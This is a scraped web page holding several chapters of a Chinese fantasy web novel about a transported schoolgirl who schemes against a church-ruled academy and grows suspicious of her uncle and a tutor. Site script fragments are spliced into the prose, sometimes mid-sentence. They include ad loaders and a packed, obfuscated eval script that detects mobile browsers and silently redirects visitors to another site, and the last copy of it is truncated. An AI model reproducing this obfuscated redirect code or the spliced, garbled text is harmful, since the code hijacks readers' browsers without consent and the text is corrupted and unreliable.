——毕竟高考失利大不了复读重考,在异世界失利可就要丧命了。 好消息是:她的努力很有成效,随堂测验已能达到及格线,不是排倒数的那一个了,还被老师当做典型范例用来鼓励批评其他学生。 拜此所赐,她在高三七班也有了些名气,最起码的,大家都记住自己的名字和长相了。 莫名感觉有点小羞耻呢.jpg “打水吗?小瑶。”前桌的柳欣悦拿着一个保温瓶站在艾遥旁边,邀请她一起去走廊尽头的开水房。 少女整理完笔记摇摇头拒绝了:“我要去厕所,下节课吧。” “啊?又去呀?你今天都跑四趟厕所啦。”柳欣悦忍不住吐槽,“也没见你喝水……是吃坏肚子了?” 谈及此事,林瑶的眼神也情不自禁地往旁飘忽了一阵。 其实,她频繁地上厕所(以致挨误会)真不是因为拉肚子,而是因为……这是自己所能想到的最自然最合理最不会引起使者怀疑的接近三皇女的方法。 人有三急嘛,就算是动漫里能怼天怼地怼空气的龙傲天还不是要跟普通人一样吃喝拉撒?这是生理结构带来的注定性!谁都避免不了的! 更何况尊敬的皇太女殿下明显还没强到能够脱离常人范畴,那肯定是要去卫生间解决生理问题的呀,她提前埋伏蹲点就不信蹲不到她人! 哼哼~放学的时候她可是在欣悦的带领下逛过整栋教学楼的,六班就在隔壁不远和七班同属一层楼,如果想去厕所的话第一选择绝对是本层楼的,人多了才会考虑别处,所以只要耐心等候就一定能够获得最终的胜利,而且还不会引起教会警觉! ——我好棒棒!我真是一个绝世大天才!(牛逼叉腰.jpg) 坐在右侧的黑发少年默默瞧着她脸上那副暗藏得意的小表情,虽然猜不透对方的想法,但总觉得不是什么好事。 他想了想,抬手抓了把空气握紧,再摊开,一小瓶止泻药静静地躺在掌心处不动。 艾遥把药递给她:“身体不舒服可以请假。” “……谢谢,我早上吃过了,只是没那么快见效。” 由于时间紧迫,林瑶应付完同桌就抓着一包纸巾赶紧冲去厕所,生怕晚了会错过目标。 幸运的是,三女神这次终于眷顾了她。 林瑶踏进卫生间时人有点多,大家都在排队,整齐有序不拥挤,瞧着就挺舒心,空气中甚至飘散着一股清新剂的味道,跟自己以前待的学校完全不同。 大概是来迟了,皇女殿下正排在末尾,背靠水池和镜子,面色沉稳,在一群叽叽喳喳聊八卦的女生当中格外醒目。 林瑶没有贸然接近对方,而是站在门口快速扫了眼全场选定一个位置,接着快走几步装作不好意思的样子一边道歉一边侧着身子强行从 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 队伍中间穿过去。 可就在即将到达水池的地方,少女似乎没发现地板有一滩积水从而踩了上去,脚滑摔跤的一瞬间她惊呼一声本能地挥舞双臂想要拽住身旁的什么东西好保持平衡,结果却扯住了别人的校服外套—— 欧阳晨曦反手捉紧这个冒失女孩的胳膊,不仅没被带倒,反而硬生生地把她给提了起来。 “谢、谢谢?”像是被突发的意外吓懵了,林瑶愣愣地站在那,缓了几秒才反应过来连忙道谢。 “顺手而已。”见人没事,欧阳晨曦淡淡地回复一句便收回了关注,专心排队。 林瑶一直在偷偷地观察对方的神态,试图从细微处找出她潜藏的真实,却什么都没发觉。 无论是不小心挨撞了差点连外套都被人扯掉,还是在回应女同学的感激时,这位被皇室送来学院当质子的现任皇储,那双黝黑明亮的眸子里始终都是平静如水、无波无澜,不曾表露出一点烦躁或嫌弃,仿佛她的内心不存在任何负面情绪。 这样的人,要么就是天生脾气好不爱跟人计较,要么就是……隐藏极深且心思慎密的阴谋家。 然而不管是哪种对林瑶来讲都不算坏事,倒不如说,“朋友”越不喜形于色越厉害她就越安心。 她再次向对方抱歉地笑笑,然后转过身对着镜子重新梳理头发,梳完就走了,并未进一步接触,以免触发敌人和未来盟友的警戒,反正来日方长嘛。 走出封闭逼仄的洗手间,少女站在楼道仰头望着蔚蓝的天空与洁白的云朵,静静感受着迎面吹来的凉爽秋风,身体稍稍放松,缓缓地吐出一口浊气。 扑棱棱。 耳边是鸟儿展翅的响声,林瑶回过神来扭头,安静地看着身旁拍打着翅膀轻巧落至栏杆上宛若黑夜降临的赤瞳乌鸦。 祂没有说话,只是沉默地注视她的脸,好似看穿了女孩的想法,属于神灵的命运之眼倒映出可悲凡人的徒劳挣扎。 林瑶同样盯着祂看了许久,随即伸出手轻轻搭在祂小小的脑袋上温柔地抚摸。 她垂眸思考着,斟酌着,很慢很慢地开口:“你又是怎么想的呢?” 今日的行动,不止是为了观测皇室,也是对使者的一个试探,试探主对自己的容忍度。 林瑶从不觉得自己的行为能够瞒过专门监视她的使者,但她可以利用这一点来真正摸清教会对自己的底线,要是这种程度的“放肆”不会被追究,那她就明白以后搞事的极限在哪里了。 神使依然不作声,仅仅偏头用脸蹭了蹭她的手指。 林瑶打量着对自己的试探无动于衷的夜鸦,仿佛一拳打在了棉花上,她抿直嘴,另一只垂落身侧的手一点一点捏紧,指甲深深嵌进肉里,原本还能劝说自己勉强保持平和的心境泛起涟漪,莫名其妙的躁动不断压迫着脑内神经,焦虑疯狂蔓延。 少女蹙紧眉头,移开了眼望向远处的树林,脑子里开始背诵课文,企图靠这种方式强行压制住那股突如其来的想要不管不顾大闹一场的冲动和欲望。 ……现在不是能跟教会任性翻脸的时候。 忍耐,忍耐。 除了忍耐,别无他法。 或许是强制背书的办法很有效,林瑶松开拳头,深吸一口气又缓慢吐出,顿时感觉舒服了许多。 正当少女结束放风准备回教室继续上课时,她突然听见了车轮“咯吱咯吱”滚过地面的轻微声响。 林瑶下意识警惕,迅速扭过身,却在瞥见来人的一瞬间面露惊讶。 “……贝娜老师?” 坐在轮椅上,这次换了件浅黄色连衣裙的卷发女人逐渐控制速度穿越拥堵的人群停留于前方。 从卫生间出来的学生们有说有笑地结伴离开,却像集体失明了一样完全没看见路中央还有个人,吵吵嚷嚷地与她擦肩而过,纷纷往教室走去。 ——周围尽是欢声笑语,唯独对方所在的区域寂静无声。 贝娜靠着椅背,向着面前的小女孩弯了弯眼眸,嘴角扬起一抹弧度,宛如知心大姐姐般露出一副恬静温婉的柔和笑容。 “介意我耽误你几分钟吗?小瑶。” 20. 提议 “介意我耽误你几分钟吗?小瑶。” 刚背着别人偷偷和三皇女接触的林瑶乍一听这话顿觉心虚,要不是夜鸦正一脸淡定地待在自己身旁没动,她都要以为对方是教会派来刺杀她的了。 “……当然不介意啦。”不知来者何意的林瑶轻咳两声故作镇定地回答,内心却提高了警惕,随时准备逃跑,“您找我有事吗?” “其实也不是什么大事,不过……”贝娜手动操控轮椅往前滑行,敏锐地注意到女孩眼眶下的一抹乌青,先关心询问,“小瑶你是晚上没休息好吗?黑眼圈看着有点严重哦。” “身体健康才能更好地保证学习效率,一味地透支精神力去拼命最终躺倒可就本末倒置了。” “嗯嗯,我会把握其中分寸的,感谢您的关心。”林瑶毫不反驳,不管对方说啥都乖巧地应声,“所以您过来是……” “别害怕,真的不是老师想临时抽考。”贝娜笑了笑,“就是前几天我跟你舅舅聊天时,听他说你周末想找个格斗老师补习?” 原来是为了这件事。 原本紧张兮兮的林瑶瞬间松了口气,眼底的笑意也透着一股轻快。 她点点头承认:“是,怎么了?” “那你要不要跟着我学呢?”贝娜放松地往后靠着椅背,言笑晏晏地劝,“外面的老师终归没有我们专业嘛,既然如此,为何不从一开始就接受最正统的教育,避免走弯路?” “不必担心,我会认真教导你的。” 林瑶看了对方一眼,没说同意也没说拒绝,只是绕圈子:“您平常很忙吧?我怕会打扰到您工作。” “再忙也没有培育学生重要呀,如果真的有急事需要处理,我也能让分身去做。”支起手肘掌心撑脸,这个危险美丽的女人歪过脑袋笑吟吟地瞧着她,“你不是想变强吗?” “按部就班的应试教育可不适合现在的你,就算背完整本书的咒语、锻炼肌肉、打架打赢普通人又能怎样呢?你还是无法成为强者,在压倒性的恐怖力量面前,别说保护家人了,你连自己都保护不了。” “这个世界可是很残酷的,如果不抱着必死的决心只会反过来被恶意吞噬,对此我想小瑶你应该深有体会吧?” “……” 林瑶抿了抿嘴,一时间竟无话可说,只能沉默。 老实讲,若非逼不得已,日常生活中她根本不会接近对方,哪怕贝娜老师表现得特别友好,她也没有忘记她是隶属于教会的圣拜纳迦的老师,而教会的所有神职人员都是自己的潜在敌人,谁会愿意在敌人的眼皮子底下活动? 但对方说得确实没错,甚至精准地踩中了自己内心最渴望的那一点,简直狡猾得像一只狐狸。 不过,林瑶缓缓地吐出一团气,眼神逐渐坚定。 不入虎穴焉得虎子?又有谁规定吃了敌人的糖衣炮弹就必须遵从敌人?糖衣吞掉,炮弹丢回去,这才是真理。 因此她慎重地思考了一会就点头答应:“好的,那便麻烦您了,我一定会努力的。” ——努力偷学你们的秘籍再把你们都干翻。 “正确的选择。”并不清楚眼前这个乖巧可爱的好姑娘脑子里究竟抱着多么大逆不道的念头(当然即使知道了估计也不会在意),被对方的温顺表象蒙蔽了双眼的贝娜笑眯眯道,“那补课时间就先定在每周末的早上九点半吧,在圣拜纳迦的办公大楼三层308号房,那里是我的独立办公室,没人靠近。” “——我会释放你的全部力量,告诉你真正驾驭使用它的方法。” ****** 告别新上任的补习老师,林瑶踩着铃声急匆匆地赶回教室,却还是迟到了,好在这节课的老师并不介意,摆摆手让她坐回位置上就继续翻教案准备讲课。 艾遥瞧着奋力冲刺从而气喘吁吁的女同桌:“你是遇见什么麻烦了吗?” “没。”林瑶拉开椅子坐下,平复好呼吸后一边翻开课本找钢笔一边随口回他,“为啥要这么问?” “你这几天上课从未迟到过。”少年看对方找了一会都没找到就递给她一支新笔,“脸色也不太好。” “谢谢。”接过钢笔,林瑶微笑着,礼貌地表示感谢,“真没啥啦,就是碰见了一位老师,我以为你知道?”毕竟很强。 印象中,她认识相处过的强者好像都是无所不知无所不晓的,哪怕这一秒不知道,他们希望的话也能立刻知道。 “我不喜欢乱看。”他神色淡淡地说了一句,反而增加了少女的好感。 林瑶十分感动地注视对方:在这个强者能够肆意妄为的被锦衣卫和监控器团团包围住的没有任何隐私的冰冷世界,有一位愿意遵守正常礼仪、不喜欢乱看乱听强迫别人的强者是多么难得呀。 ——即便是宠爱纵容自己的舅舅也在她身边留了一只白鸽。 “你真是个好人。”她由衷地感叹。 艾遥:“……” ——这是从哪得出的结论? 但在听完林瑶的解释后他不禁为对方感到担忧,这是不是太好骗了点?难怪她舅舅不放心,一定要安排式神随身保护。 “对啦,问你一件事。”撇开不重要的问题,林瑶仔细打量着同桌那双总是凭空变出东西的手,之前没深思,以为只要抵达某种境界便无需念咒,可经过贝娜老师的提醒后她才发觉哪里不对。 第一天贝娜老师送自己来学校时曾在车上说过“力量本身就是自由的,正如自由的想象,根本就不需要我们费心操纵”,加上她今天强调的“驾驭使用力量的办法”…… 虽然林瑶不是聪明人,可也不算太傻,自然听懂了对方的潜台词——学校传授给学生的并非此世界真正的修炼之法。 所以无论平时背多少咒语多用功都是白费力气,正确的上升路径牢牢掌握于教会高层的手中,他们靠着这种恶心的手段死死压制平民,杜绝他们变强醒悟然后推翻教会统治的可能性。 混、蛋。 艾遥瞥了眼少女紧握的拳头与抿直的嘴唇,意识到她现在处于一种极度愤怒的状态,虽不明缘由却依旧放缓了语气:“你想问什么?” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >林瑶连续深呼吸,勉强平复躁动的心境让自己保持理智,过了十几秒才终于冷静下来可以平和面对这位与其他傲慢可恶的强者明显不同的黑发少年。 “我似乎没见你背过咒语,在我转学来之前甚至连教科书习题册都没有。”她一边整理内心的思绪一边斟酌着语句开口,“难道你就不担心考试不及格被老师请家长吗?” “不需要。”艾遥没有多说什么,只是看她一眼,就这么冷漠地简单回了三个字。 也不知是在说“不需要辛苦背咒语”还是说“不需要担心考不及格被请家长”。 “……这样啊……”听到这一句,林瑶微笑着,收回目光不再讲话了。 然而她并未就此停歇,又伸手进课桌抽屉拿出笔记本,翻开新的一页,指定目标默念书信传讯的咒语后提笔在上面写字。 【嗨,朋友,你说去你家的武术馆可以打八折是真的咩?】 坐于第二排原先在奋笔疾书狂抄作业的洪兴斌瞧着纸面空白处突然浮现出来的一行字,愣住。 林瑶? 他面露犹豫,偷偷抬眸瞄了眼讲台上正讲到关键处的老师,确定对方没有关注自己才敢回信。 洪兴斌:是啊,你想来吗? 林瑶:嗯,不过我只有周一至周五的晚上八点左右有空,大概练一个半小时,没问题吧? 洪兴斌:当然没问题啦!我待会就跟我爸说让他安排教练,这是我们家武术馆的地址,还有免费饮料水供应哦。[分享地图链接] 林瑶:收到。 跟同学确认好时间和地点,林瑶这才展露心满意足的笑容把笔记本收起来。 尽管贝娜老师说锻练肌肉学打架意义不大,但她并不打算放弃提升自己的格斗能力,万一今后遇见法术失效不得不肉搏的艰难困境呢?叫她拿什么打?拿头打吗? 嘿嘿,正所谓,两手都要抓两手都要硬嘛。 盯着身旁表情又莫名愉悦的女同学,似乎猜出某些事的艾遥微微眯眼,在对方放松警惕的刹那间忽然问起:“刚刚告诉你真相的是不是一个坐轮椅好像双腿残疾了的卷发女人?” 林瑶一怔,下意识反问:“你认识贝娜老师?” 得到答案的艾遥没有第一时间回复。 他垂眸注视着书上的内容,大脑却回忆起曾经偶然撞见的画面,眼底的冷淡慢慢褪去转而流露真情实感的厌恶。 “毕竟圣拜纳迦是他负责管辖的区域,而修炼的事知情者其实很少很少,同一个圈子的人当中除了他也没谁会那么无聊。” “我不清楚贝娜接近你的理由,但……”精致的少年不知为何竟向她发出了劝告,“与教会的其他人不同,绝对不能把信赖交付给他。” “啊?”林瑶一头雾水,正准备追问又被打断了。 “我不便多说。”艾遥定定望着少女,在那双透着迷茫却如溪流般清澈明亮的黝黑眼眸中寻到了他自己的身影,“总之你只需要记住这一点,记住——” “他是一个货真价实的披着人皮的怪物。” 21. 怀疑 不入虎穴焉得虎子,可如果虎穴的凶险程度远远超出自己的应付范畴呢?又该如何应对? 收到同桌的好心提示,得知贝娜老师可能不是善茬的林瑶表情凝重,背着书包低头走在回家的路上,每一次往前踏出的脚步都汇聚着一股沉甸甸的悲壮。 仿佛一位明知自己将会在这场战役里战死却仍然义无反顾地奔赴战场英勇杀敌的士兵。 能被艾遥郑重其事地叮嘱绝对不能信任、连舅舅都没啥好脸色的“人”得有多可怕啊?就她这个单薄瘦弱的小身板或许还不够人家塞牙缝的。 妈妈,我真的还能活着见到明天的太阳么?呜呜呜呜…… 不过哭归哭怕归怕,已经做好的决定林瑶并不打算反悔。 机会只有一次,错过了就不会再有,因此无论发生什么都不能退缩。 ——她不要当笼子里被安排好的金丝雀木偶。 “这种时候就要学银桑大声地唱哆啦A梦之歌。”万能的银桑和哆啦A梦肯定会在二次元保佑我的! 林瑶嘟嘟哝哝的,不知为啥,可能是某白毛神奇的感染力吧,一想到遇见幽灵害怕得双腿哆嗦哭出颤音的他,脑内竟自动奏响了那首著名动画片主题曲的旋律。(PS.由坂田银时亲身演唱的五音不全版) 嘿,这是天意啊!那今日索性放肆一回好啦! 说干就干,她开始兴致勃勃地捏着喉咙咳嗽几声为吊嗓做准备,也不管路人看向自己的目光有多么奇特诡异,兴头一上来、聪明的智商又占领准噶尔盆地了,就这么对着空气高声唱起了童年的歌谣。 “こんな事いいな出来たらいいな あんな夢 こんな夢 いっぱい有るけど……”* 虽然她后面不记得歌词基本都是在乱嚎乱叫,但这段日子内心积攒的压力确实慢慢减少了,心情从沉重变得轻松愉快。 “果然银桑就是对的!”空知猩猩诚不欺我也! 见有了效果,少女越发兴奋地抓着书包肩带仰头嗷嗷大喊,还发疯似的突然加快步伐向前猛冲。 像是回到了天真无邪、无拘无束的年纪,她哼着小调,脚踩一地枯枝落叶蹦蹦跳跳地旋转舞步,脸上扬起的笑容欢快又活泼,宛如一只终于逃离了囚牢翱翔于天际的自由小鸟。 “みんな みんな みんな かなえてくれる 不思議なポッケで かなえてくれる 空を自由に飛びたいな……”* 她唱着歌,跳着舞,张开了双臂拍打着双手,跟着节奏摇头晃脑,似乎想要借此放空思绪,将所有的烦恼统统甩向宇宙。 不要在意那么多,不要考虑那么多。 此时此刻,在无人注视的短暂时光里解开束缚的枷锁抛弃一切吧,在踏上危险的冒险之旅前让我们尽情享受最后的快乐。 “あんなとこいいな行けたらいいな この国 あの島 たくさん有るけど……”* 头顶伸展开的枝丫有簇簇鲜花含苞待放,树下有美丽的少女在开心地欢笑。 于莫名沙哑干涩的歌声中,于周围路人不明所以却依旧面露微笑的鼓掌声中,花瓣尖的一滴清晨露水悄然落下,落进了她的眼睛,又抚过她的脸庞,晶莹剔透如珍珠。 如此荒诞,如此可怜,令望者不禁心生叹惜。 但是在林瑶看不见的角度里,扑腾着翅膀轻巧停至树干上的夜鸦与白鸽并肩站立,隐藏于繁茂翠绿的枝叶间,注视着女孩纤细稚嫩的背影,沉默不语。 ***** 掏出钥匙打开家门,屋内一片漆黑,寂静得只能听见自己平稳的呼吸,而发完羊癫疯回来的林瑶也终于能够用温和佛性的冷静心态去面对狗屎一样烂的更加糟糕的明天。 有时候真的很想跟这个X世界同归于尽。 她面无表情地反手关紧卧室房门,泄愤一般地将书包用力扔上床,然后双手叉腰缓了缓,没过几秒钟又默默地弯下腰爬过去把书包捡回来。 ……可恶,我这该死的不能糟蹋课本的学生本能。 大熊猫超无敌憋屈.jpg 咯吱。 林瑶忽然顿住,耳朵敏锐地捕捉到玄关处的开门声——是舅舅。 她放松下来,想了想打开卧室门出去,刚好撞上屋外正伸着手准备敲门喊自己的林溪晗。 “舅舅?”看出对方是有话想对她讲的林瑶面露疑惑,“是要做饭吗?冰箱里还剩一些肉,我这就拿出来解冻。” 林溪晗摇了摇头,注意到少女脸上的困惑,微笑着,语气柔和:“不,今晚我们不在家吃饭。” “偶尔吃腻了家里的菜就应该换换口味。”他轻轻拍了拍可爱外甥女的脑袋,“顺便逛逛夜晚的帝都,这段时间我一直在忙工作都没好好带你了解这里,居然留你一个人适应新环境。” 黑发青年不由叹气,眼底流露出一抹歉意:“抱歉呀,小瑶。” “舅舅,你怎么又跟我客气了?”林瑶抬爪子挠挠白嫩的脸颊,满脸的无可奈何,“之前说让我别那么生疏的是你,现在向我道歉的也是你……这个样子,叫我用什么态度面对你才好嘛。” “或许是因为我做的一些事确实有愧于你吧。”林溪晗抚摸着她柔顺的长发,眼神是说不出的复杂。 他逐渐放轻声音:“原谅我,小瑶,在你面前我总是希望能够永远保持一个完美好舅舅的形象。” “舅舅你在我心里已经足够完美啦,要稍微给别人一点活路嘛。”两人再继续拉扯下去恐怕直到天亮都拉扯不完,林瑶赶紧转移对方的关注点,“哎呀我肚子饿了,不是说出去吃晚饭吗?咱们吃烤肉吧,我想吃了。” “好。”林溪晗相当配合地结束话题,转身就要回自己的房间,“那你先换衣服,我在客厅等你。” 林瑶点点头,目送他离开,然后关上门扭头打开衣柜仔细看了看,从中挑出一件方便行动的绣花衬衫和牛仔裤换上,考虑到夜晚风大可能会冷又裹了件带兜帽的薄外套。 换完衣服走出卧室,舅舅也换下了他那套万年黑西装改穿休闲服等在客厅,人瞧着一下子年轻十岁不止,仿佛刚毕业的青葱大学生……果然上班催人老么? “走吧。”林溪晗笑着朝她伸出右手,掌心向上,“小瑶你有推荐的店吗?” 林瑶乖乖地把手放上去:“我们可以去市中心的商场,那里肯定有自助餐厅,价格会相对便宜些。” 男人握紧她的手,心念一动就传送到了目的地。 “选你喜欢的,不用担心破费,舅舅有钱。” “嗯嗯!” 平心而论,应该不会有人讨厌与林溪晗的相处。 至少在林瑶的印象当中,舅舅对自己总是表现得非常温文尔雅,风趣幽默,举手投足之间尽显优雅大度,从不因为一点小事就斤斤计较个没完,还懂得尊重她,愿意聆听并满足她的任何需求,像是一块温润的宝玉,美好得令人如沐春风。 这是自己突然穿越到异世界在举目无亲的恐慌状态下认识的第一个人、抓住的第一根救命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13940622|147691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稻草啊。 从初识至今日,她所受的帮助已多得数不清,欠下的债卖肾都还不完,对他的感情也日渐加深,难以割舍,如果有一天取代的真相被揭晓……她究竟该怎么办?又能怎么办? “在想什么?”原本正观赏窗外美景的林溪晗余光瞥见对面的外甥女那副心不在焉的神情,不禁生出一丝忧虑,关切地询问,“是不习惯这种高度吗?” 刚吃完烤肉,两人不想太早回家就买票进了游乐园玩。 青年男子十分有耐心地陪着自家外甥女坐了旋转木马和碰碰车,还跟她一起与穿玩偶服的工作人员拍照,带她去购物,帮她拎包买冰淇淋,等玩累了又陪着她坐上摩天轮欣赏整座城市的夜景,全程没有半句牢骚或埋怨,始终面带笑容,照顾她的感受。 ……多完美体贴的一个人,完美得不似真人。 听见对方的呼唤,林瑶回过神,挪开视线看向眼前满脸写着担忧的“亲人”,露出微笑:“没,其实我挺喜欢摩天轮的,只是太久不坐有点不适应。” “那就好。”收到回应的林溪晗顿时松了口气,脸上跟着展露笑意,“我怕你不舒服还硬撑着不说。” “不会的啦,我才不傻呢。” 看女孩微微眯着眼重新眺望夜空一副心情不错的样子,他犹豫再三,不想打扰,然而最终还是开口问了:“中午休息时我听贝娜说你打算周末两天都去她那补习?” “是呀,怎么了?”闻言林瑶扭回头睁着眼瞧他,疑似不解地反问,“有什么不妥当的地方吗?” “没有什么不妥当,我只是觉得这样子不停地连轴转会不会很辛苦?”林溪晗忍不住叹气,忧心忡忡地打量她的面色,“本来你熬夜背书就很累了,现在每天晚上还要抽两个小时去武术馆锻练,星期六星期天又去学校补课……你身体真的没事吗?” “要知道健康最重要啊,小瑶,别熬坏了自己。” 林瑶蓦然停顿。 “……” 她不明缘由地沉默了许久,直至对方目露困惑即将伸手触碰自己额头测温度时才装作与平日无异的态度,语气寻常地回复:“没关系,我有利用空暇的时间好好休息。” “你是有什么要叮嘱我的吗?舅舅。” “叮嘱倒是不至于……恩……虽然不太可能,但如果贝娜敢欺负你就尽管和我说,舅舅会帮你的。”男人探身过去十分亲昵地拍了拍她的肩膀,表情温柔,“所以用不着给自己那么大的压力。” “你可以放轻松点。” “……”林瑶没有立马回话,而是转头望向摩天轮的玻璃窗外,抿直嘴,盯着闪耀于游乐园上空五光十色的漂亮射灯,片刻后才轻飘飘地应了一声。 “嗯。” 可是,舅舅…… 少女凑近额头抵住玻璃,隔着门板深深凝视着色彩斑斓的星空,宛如隔着鸟笼仰望天空渴求自由的小鸟,摇曳的霓虹光渐渐照亮了黝黑的眼眸,绚烂璀璨的烟花在瞳孔深处绽放。 她听着游乐园播放的欢快音乐,神色却是一片沉寂,好似无波无澜的湖水。 林瑶静静地心想。 回顾往昔,愚钝的我在曾经留下的破绽是如此明显,明显得连我都能慢慢地发觉不对,那么…… 强大得能令“怪物”主动低头退让的你,清楚知晓我所有安排的你,能够敏锐察觉到我情绪上每一处小变化的你,同教会高层有着紧密联系的你—— 真的会看不出“家人”的异常吗? 22.提醒 手机、充电宝、笔记本、钢笔、教科书和纸巾。 林瑶盘腿坐在床上整理着待会要放进背包的小东西,态度认真又仔细,还提前拿水壶装满了白开水,打算一起带去学校听课。 现在是星期六的早上八点,距离与贝娜老师约定好的时间还有一个小时,足够她去水果店挑选购买上门礼物了。 毕竟是在周末叨扰人家,作为一名讲文明讲礼貌的新时代祖国花朵,怎么能啥都不带地两手空空地前去拜访呢?多失礼呀! 等一切都准备就绪,她背着包包拎起水壶戴上墨镜与鸭舌帽,先是默念咒语传送到附近的水果店,跟老板打了声招呼就进屋挑水果。 可惜不知道贝娜老师爱吃什么,林瑶在苹果、柑橘、荔枝和桃子间犹豫了许久,最终还是选了应该不会出错的红苹果,让心灵手巧的老板帮她装进礼盒打一个漂亮的蝴蝶结。 “小瑶是去补课啊?”楼下经营水果店的李老板是一位穿衣服干净整洁、脑袋后面扎着一丸子头、笑起来显得特别豪爽大方的四十岁的成熟女性。 她一边干脆利落地把苹果称斤装盒一边笑着与小区里最出名的乖孩子闲聊:“昨晚我见你也是去补课补到快十点才回来,哎哟喂,这么勤奋用功的,真不愧是考进圣拜纳迦的尖子生啊。” “要是我女儿有你一半刻苦读书就好了,她整天就知道躺床上吹空调玩手机,也不怕看瞎眼。”李姨叹着气感慨,“瞧瞧别人家的娃,居然还懂得不能空手拜访主人家,多懂事呀,不像我家那两个一老一小的,嗐,啥事都得我操心呐。” “我其实没你说得那么好啦李姨,主要是我舅舅工作太忙,这种事只得由我自己来弄,不然我也是撒手不管全部丢给大人去处理的。”林瑶一听连忙摆摆手否认,“实际上我在家很懒很懒的,连自己的房间都不想收拾。” 这是实话,要不是被逼无奈,周末两天她只会躺床上翘着脚玩手机喝奶茶享受,谁会顶着大太阳跑去找老师补课? 怎么?是平时没被学校虐待够要故意找虐啊?她看那些字母圈也不是这么个玩法呀。 “你这孩子就是谦虚。”立刻搞定手中的活,李姨不敢再耽误对方,怕害人迟到挨骂就立马将盒子塞进女孩怀里连声催促,“赶紧的,别再跟阿姨聊天了,小心去迟了,老师一不高兴考试就给你穿小鞋!” “成绩下滑了才是真要命嘞!” 话音刚落,几乎是被老板娘“轰”出门的林瑶抱着一盒苹果满身“狼狈”地站在店门口,面露无奈。 “……熟悉的街坊邻居和熟悉的学业至上理论。” 她小声嘀咕一句便抛开无关紧要的小事开始闭眼集中精力定位自家学校的空间坐标,然后念咒语瞬间抵达目的地,前后只花了五秒钟,直接省掉中间的几十块打车费。 啧啧啧,不得不说,传送魔法真是一种既高效又便捷还很省钱的绝佳技能,实用性超级高,可比那些只懂花里胡哨的表演类魔法厉害了数十倍,难怪会是最受人们欢迎的top1. 在心底嘟嘟哝哝地点评完,睫毛微微颤动,林瑶极其缓慢地睁开眼睛,眨了眨,映入眼帘的一切逐渐变得清晰起来,小摊贩的吆喝声也传进自己的耳内彻底唤醒了大脑。 踢踢腿,甩甩手,简单活动下筋骨,没有感觉到身体出现问题,背包和水壶也没被挤坏,看来第一次远距离传送的尝试很成功,嗯,再接再厉,明天接着试验更远的位置。 林瑶定了定神从口袋掏出手机瞅一眼屏幕,还有半个多小时,抓紧吧,找教学楼也要十几分钟。 于是她背着书包加快脚步,径直穿过即使周末依然人山人海特别繁华的商业街,快速到达自己仅仅听说却从未踏足过的斜对面——那所真正被教会承认的帝国最高学府。 与身后车水马龙且人声鼎沸的喧闹街道不同,圣拜纳迦的门庭异常冷清,威严庄重的古典三开朱漆宫门宛若一道天然的屏障横在其中将两者分割成不一样的世界。 左边是嘈杂热闹的人间烟火,右边则是沉寂清净的无涯学海。 而她只能以苦作舟,手握木桨划向深渊。 站在石狮子旁,林瑶看了看学府的那块牌匾又看了看紧闭的大门,往四周环顾一圈后发现不远处有一座保安亭,里面坐着一位穿制服戴帽子的保安,正低着头,疑似在玩手机。 她走过去屈指敲了敲门。 叩叩。 叩叩。 连续用力地敲了几次都没得到回应。 林瑶纳闷,又绕去窗户前,隔着玻璃往里看—— 原来对方没玩手机,只是直挺挺地坐在椅子上垂首,两条胳膊落于身侧,散乱的发丝遮住脸,一动不动,姿态古怪诡异。 睡着了?可是用这种姿势入睡不难受吗? 余光似乎瞥见了什么,她眯起双眼,稍微调整一下角度望向对方的后面,可惜看不太清楚,仅能隐隐约约地看见一块被衣领掩盖住的紫斑从脊背深处缓缓攀爬至脖颈。 啥玩意?病毒感染? 正当林瑶怀疑自己是不是看错了打算再仔细观察的时候,保安忽然动了。 像是躺棺材躺久了身子有些僵硬,他慢慢地抬起头,隔着头发的缝隙直勾勾盯着少女,过于苍白的面色似刷了一层墙灰粉,混浊的眼珠子里倒映不出任何人的身影。 “同学,有事?” 保安那沙哑的嗓音如声带撕裂漏了风,处处透着一股不舒服的奇怪异感,叫人直皱眉头。 林瑶双手扒着玻璃窗十分认真地想了想,想不通就干脆问:“大哥,你刚刚是死了吗?” 听到女孩这番格外欠揍的发言,大哥竟出乎意料的淡定,半点要生气的迹象都没有:“我是亡灵族,死了不正常?” “哦哦哦。”她恍然大悟,疑惑被解答就赶紧表明自己的目的,“我是来补课的,能麻烦您打开门让我进去吗?” “补课?” “嗯,是贝娜老师叫我来的,她是圣拜纳迦的教师,需要我打个电话核实么?” “……贝娜?”保安表现得好像有点困惑,但还是从抽屉里摸出一串钥匙摇摇晃晃地站起身,四肢不太协调地、一步一步地趔趄着挪向大门。 他将钥匙插进锁孔转动,随后摁着门推开,好心提醒一句:“进去吧,注意路牌,如果走错了迷路的话会非常麻烦。” “毕竟现在放假校内没有老师留守,倘若发生意外将无人救援。” “愿主保佑你平安。” ……至于嘛,就单纯地补个课能有啥危险?总不能吃了我吧? 林瑶乖巧地点点头,内心却不以为然。 结果她弯腰系个鞋带站起身,抬腿刚跨过门槛就听见背后传来“哐当”一声响,扭头一瞧—— 保安把门反锁了。 “……” 咋?这是要开启大逃杀模式怕她跑了?什么惊悚恐怖游戏的NPC行为。 习惯性地吐槽两句转过身,第一次进入圣拜纳迦的林瑶打量着周围陌生的环境,可打量完心中只剩三种感想—— 好大,好恐怖,好复杂。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 